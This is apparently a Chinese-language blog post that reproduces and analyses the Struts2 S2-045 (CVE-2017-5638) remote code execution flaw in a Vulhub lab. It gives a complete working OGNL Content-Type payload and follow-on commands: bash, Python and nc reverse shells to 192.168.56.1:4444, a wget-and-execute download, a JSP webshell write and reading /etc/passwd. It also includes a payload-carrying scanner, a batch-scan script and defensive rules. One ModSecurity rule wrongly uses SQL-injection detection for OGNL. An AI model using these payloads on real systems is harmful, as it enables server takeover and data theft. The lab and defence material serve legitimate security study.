Struts2-045远程代码执行漏洞复现与原理分析

Struts2-045远程代码执行漏洞复现与原理分析

漏洞概述

Struts2-045(CVE-2017-5638)是Apache Struts2框架中的一个严重远程代码执行漏洞,该漏洞因其影响范围广、利用简单而备受关注。攻击者可以通过构造恶意的Content-Type请求头,在目标服务器上执行任意系统命令。

漏洞基本信息

影响版本

  • Apache Struts 2.3.5 - 2.3.31(包含2.3.31版本)
  • Apache Struts 2.5.0 - 2.5.10(包含2.5.10版本)

漏洞等级

  • CVSS评分: 10.0(严重)
  • 漏洞类型: 远程代码执行(RCE)
  • 攻击复杂度: 低

核心原理

Struts2框架在处理文件上传请求时,会解析Content-Type请求头。当Content-Type格式不正确时,框架会抛出异常,而异常处理过程中会对错误信息进行OGNL表达式解析,这就给了攻击者可乘之机。

技术原理深度分析

OGNL表达式注入机制

OGNL(Object-Graph Navigation Language) 是Struts2框架使用的表达式语言,用于在Java对象之间进行导航和操作。

1
2
3
// OGNL表达式示例
#context['xwork.MethodAccessor.denyMethodExecution'] = false
@java.lang.Runtime@getRuntime().exec('whoami')

漏洞触发流程

  1. 请求接收: 服务器接收包含恶意Content-Type的HTTP请求
  2. 类型解析: Struts2尝试解析Content-Type头部信息
  3. 异常触发: 恶意构造的Content-Type导致解析异常
  4. 错误处理: 异常处理器对错误信息进行OGNL解析
  5. 代码执行: 恶意OGNL表达式被执行,实现RCE

关键源码分析

漏洞位于org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类中:

1
2
3
4
5
6
7
8
// 简化的漏洞代码逻辑
private void buildErrorMessage(Throwable e, Object[] args) {
String errorMessage = localizedTextProvider.findDefaultText(e.getMessage(), locale, args);
// 这里会对errorMessage进行OGNL表达式解析,导致RCE
if (errorMessage != null) {
errorMessage = TextParseUtil.translateVariables(errorMessage, stack);
}
}

实验环境搭建

系统架构

1
2
3
4
5
6
7
┌─ 攻击机(Host)
│ └─ Windows/Linux + BurpSuite

└─ 靶机(Kali VM)
├─ IP: 192.168.56.102
├─ Docker + Vulhub
└─ Struts2 App (Port 8080)

Docker环境部署

1
2
3
4
5
6
7
8
9
10
11
# 1. 克隆Vulhub项目
git clone https://github.com/vulhub/vulhub.git

# 2. 进入S2-045目录
cd vulhub/struts2/s2-045

# 3. 启动靶场
docker-compose up -d

# 4. 验证容器状态
docker ps -a

预期输出:

1
2
CONTAINER ID   IMAGE                   COMMAND       CREATED     STATUS      PORTS                    NAMES
2363a15cda30 vulhub/struts2:2.3.30 "mvn-server" 2min ago Up 2min 0.0.0.0:8080->8080/tcp s2-045-struts2-1

环境验证

访问 http://192.168.56.102:8080/ 应该能看到Struts2默认页面。

漏洞利用实战

Payload构造原理

恶意Content-Type的核心结构:

1
Content-Type: %{OGNL_EXPRESSION}

完整攻击载荷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
GET / HTTP/1.1
Host: 192.168.56.102:8080
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Content-Type: %{
(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))
)).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
Content-Length: 0

Payload逐行解析

表达式片段 功能说明
#nike='multipart/form-data' 设置伪装的Content-Type
#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 获取默认成员访问权限
#_memberAccess=#dm 绕过Struts2的安全限制
#container=#context[...] 获取ActionContext容器
#ognlUtil.getExcludedPackageNames().clear() 清除包名黑名单
#ognlUtil.getExcludedClasses().clear() 清除类名黑名单
#cmd='whoami' 定义要执行的命令
#iswin=...contains('win') 判断操作系统类型
#cmds=(#iswin?{...}:{...}) 根据系统类型构造命令参数
#p=new ProcessBuilder(#cmds) 创建进程构建器
#process=#p.start() 启动进程执行命令
IOUtils@copy(...) 将命令输出写入HTTP响应

攻击效果演示

请求发送后的响应:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 9
Date: Wed, 24 Jul 2025 08:30:45 GMT
Connection: close

www-data

高级利用技巧

1. 信息收集命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 系统信息
#cmd='uname -a'

# 当前用户
#cmd='id'

# 网络配置
#cmd='ifconfig'

# 进程列表
#cmd='ps aux'

# 文件系统
#cmd='ls -la /'

2. 反弹Shell

1
2
3
4
5
6
7
8
# Bash反弹Shell
#cmd='bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'

# Python反弹Shell
#cmd='python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"'

# NC反弹Shell
#cmd='nc -e /bin/sh 192.168.56.1 4444'

3. 文件操作

1
2
3
4
5
6
7
8
# 读取敏感文件
#cmd='cat /etc/passwd'

# 写入WebShell
#cmd='echo "<%@ page import=\"java.io.*\" %><% String cmd = request.getParameter(\"cmd\"); Process p = Runtime.getRuntime().exec(cmd); %>" > /tmp/shell.jsp'

# 下载文件
#cmd='wget http://192.168.56.1:8000/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh'

检测与防护

漏洞检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
import requests
import sys

def check_s2_045(url):
payload = """%{
(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))
)).
(#cmd='echo "S2045_VULN_TEST"').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}"""

headers = {
'Content-Type': payload,
'User-Agent': 'Mozilla/5.0 (compatible; S2-045-Scanner)'
}

try:
response = requests.get(url, headers=headers, timeout=10)
if "S2045_VULN_TEST" in response.text:
print(f"[+] {url} is vulnerable to S2-045!")
return True
else:
print(f"[-] {url} is not vulnerable to S2-045")
return False
except Exception as e:
print(f"[!] Error testing {url}: {str(e)}")
return False

if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 s2-045-check.py <URL>")
sys.exit(1)

target_url = sys.argv[1]
check_s2_045(target_url)

安全防护措施

1. 版本升级(根本解决方案)

1
2
# 升级到安全版本
Apache Struts 2.3.32+ 或 2.5.10.1+

2. WAF规则配置

ModSecurity规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 检测S2-045攻击特征
SecRule REQUEST_HEADERS:Content-Type "@detectSQLi" \
"id:1001,\
phase:1,\
block,\
msg:'Struts2 S2-045 Attack Detected',\
logdata:'Content-Type: %{MATCHED_VAR}',\
tag:'attack-sqli',\
tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION'"

# 检测OGNL表达式
SecRule REQUEST_HEADERS:Content-Type "@contains %{" \
"id:1002,\
phase:1,\
block,\
msg:'Potential OGNL Injection in Content-Type'"

3. 网络层防护

1
2
3
# iptables规则示例
iptables -A INPUT -p tcp --dport 8080 -m string --string "%{" --algo bm -j DROP
iptables -A INPUT -p tcp --dport 8080 -m string --string "ognl" --algo bm -j DROP

4. 应用层加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 自定义拦截器
public class SecurityInterceptor extends AbstractInterceptor {
@Override
public String intercept(ActionInvocation invocation) throws Exception {
HttpServletRequest request = ServletActionContext.getRequest();
String contentType = request.getContentType();

if (contentType != null && contentType.contains("%{")) {
throw new SecurityException("Malicious Content-Type detected");
}

return invocation.invoke();
}
}

实战技巧与工具

BurpSuite插件开发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// S2-045检测插件框架
public class S2045Scanner implements IScannerCheck {
@Override
public List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
// 构造S2-045 payload
String payload = "%{(#nike='multipart/form-data')...}";

// 发送测试请求
byte[] checkRequest = insertionPoint.buildRequest(payload.getBytes());
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest);

// 分析响应判断是否存在漏洞
if (isVulnerable(checkRequestResponse)) {
return Collections.singletonList(new CustomScanIssue(/* ... */));
}

return null;
}
}

批量检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
# S2-045批量检测脚本

targets=(
"http://target1.com:8080"
"http://target2.com:8080"
"http://target3.com:8080"
)

for target in "${targets[@]}"; do
echo "Testing: $target"
python3 s2-045-check.py "$target"
echo "---"
done

应急响应指南

1. 漏洞确认

1
2
3
4
5
6
# 检查Struts2版本
find / -name "struts2-core-*.jar" 2>/dev/null

# 检查访问日志中的攻击特征
grep -E "Content-Type.*%\{" /var/log/apache2/access.log
grep -E "ognl|ProcessBuilder|Runtime" /var/log/tomcat/catalina.out

2. 应急处置

1
2
3
4
5
6
7
8
9
# 临时阻断攻击IP
iptables -A INPUT -s <攻击IP> -j DROP

# 停止相关服务
systemctl stop tomcat
systemctl stop apache2

# 备份系统状态
tar -czf /tmp/system_backup_$(date +%Y%m%d_%H%M%S).tar.gz /var/log /etc /opt/tomcat

3. 痕迹清理检查

1
2
3
4
5
6
7
8
9
# 检查是否有异常进程
ps aux | grep -E "nc|bash|sh|python|perl" | grep -v grep

# 检查网络连接
netstat -antlp | grep ESTABLISHED

# 检查新增文件
find /tmp /var/tmp -type f -mtime -1
find /opt/tomcat/webapps -name "*.jsp" -mtime -1

总结

Struts2-045漏洞的特点:

优势(从攻击者角度)

  • 利用简单: 只需构造HTTP请求头即可
  • 影响面广: 大量企业级应用使用Struts2框架
  • 检测困难: 攻击流量可能被忽略
  • 危害严重: 直接获得服务器执行权限

防护要点

  • 及时更新: 升级到安全版本是根本解决方案
  • 深度防御: 结合WAF、IDS等多层防护
  • 监控告警: 建立有效的安全监控体系
  • 应急响应: 制定完善的安全事件响应流程

免责声明: 本文内容仅供安全研究和防护参考,请勿用于非法攻击活动。

参考资源:


Struts2-045远程代码执行漏洞复现与原理分析
https://bae-ace.github.io/2025/07/24/Struts2-045-远程代码执行漏洞详解与利用/
作者
bae
发布于
2025年7月24日
许可协议